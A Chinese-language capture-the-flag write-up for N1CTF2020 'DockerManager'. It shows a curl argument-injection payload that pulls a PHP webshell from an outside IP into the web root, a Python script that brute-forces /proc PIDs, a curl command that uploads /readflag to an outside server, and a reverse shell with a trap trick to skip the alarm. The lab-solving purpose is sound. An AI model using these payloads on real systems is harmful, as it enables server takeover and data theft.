[N1CTF2020]DockerManager
知识点
- Config file
- curl.1 the man page
解题步骤
给了源码,源码审计一波,发现可以用%00截断curl命令的输入,但是由于函数的过滤,输入的数据都会在两边加入引号。由于这个限制,导致我们只能输入选项单字符的命令,即-只能带一个字符。直接man手册看一波。发现可以用-k读取配置文件运行。但是如何上传配置文件?
每一次 php 执行 curl 命令的时候都会有创建一个子进程 ’pid‘,这个 pid 在 /proc 下会有相关文件,在 /proc/$pid/cmdline 里会有运行时的命令,我们利用带进去的参数产生的 cmdline 文件作为配置文件,就相当于上传了配置文件。配置文件的格式:# --- Example file --- # this is a comment url = "example.com" output = "curlhere.html" user-agent = "superagent/1.0"
在服务器上写一个php木马,建议写个txt文件,要不然自己服务器没了。根据附件里面的dokerfile,我们可以在
/img
下添加文件,所以可以构造恶意参数:
host=-K/dev/urandom%00&cacert=111%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aurl=”http://47.96.173.116/1.txt”%0aoutput=”img/asd.php”%0a%0a%0a%0a%0a%0a%0a
然后对cmdline进行爆破:from time import sleep import requests for i in range(1, 100): r = requests.get("http://15ada40a-d5ea-4f81-ae9d-9a420f9ce3b0.node4.buuoj.cn:81/view.php?host=-K/proc/" + str(i) + "/cmdline%00") if r.status_code != 200: sleep(1) r = requests.get("http://15ada40a-d5ea-4f81-ae9d-9a420f9ce3b0.node4.buuoj.cn:81/view.php?host=-K/proc/" + str( i) + "/cmdline%00") print(r.text)
然后直接蚁剑连接,需要反弹一个shell:
根据wp:
https://z3ratu1.github.io/%5BN1CTF2020%5DDockerManager.html
得知/readflag
设置了定时器先用curl把readflag拉下来确认一下
curl -F "filename=@/readflag" "http://47.103.140.44:10055"
然后丢进IDA逆向,能够很容易看到使用了一个ualarm函数,该函数作用为计时对应毫秒后发出一个SIGALRM信号,也就是timeout信号,默认收到timeout即超时退出,就会出现上述情形,不过参数设置的是1000,理论上计时是1s,但是实际用的时候感觉是一瞬间就退出去了(不知道什么情况)
使用trap指令进行对信号的控制,比如我们按下Ctrl-C会产生一个SIGINT(interrupt),但是按下Ctrl-C不一定就得立即退出,可能还得扫尾做清理工作,所以使用trap指令指定收到对应信号的行为
因此,trap cmd sig,SIGALRM对应的数字是14,cmd留空代表忽略该信号
先键入trap "" 14让那个ualarm无效,然后就可以慢悠悠的计算算式获取flag了
/readflag
需要在交互shell上进行,所以需要反弹shell,反弹之后运行trap "" 14 && /readflag
即可获取flag(算个数应该不难)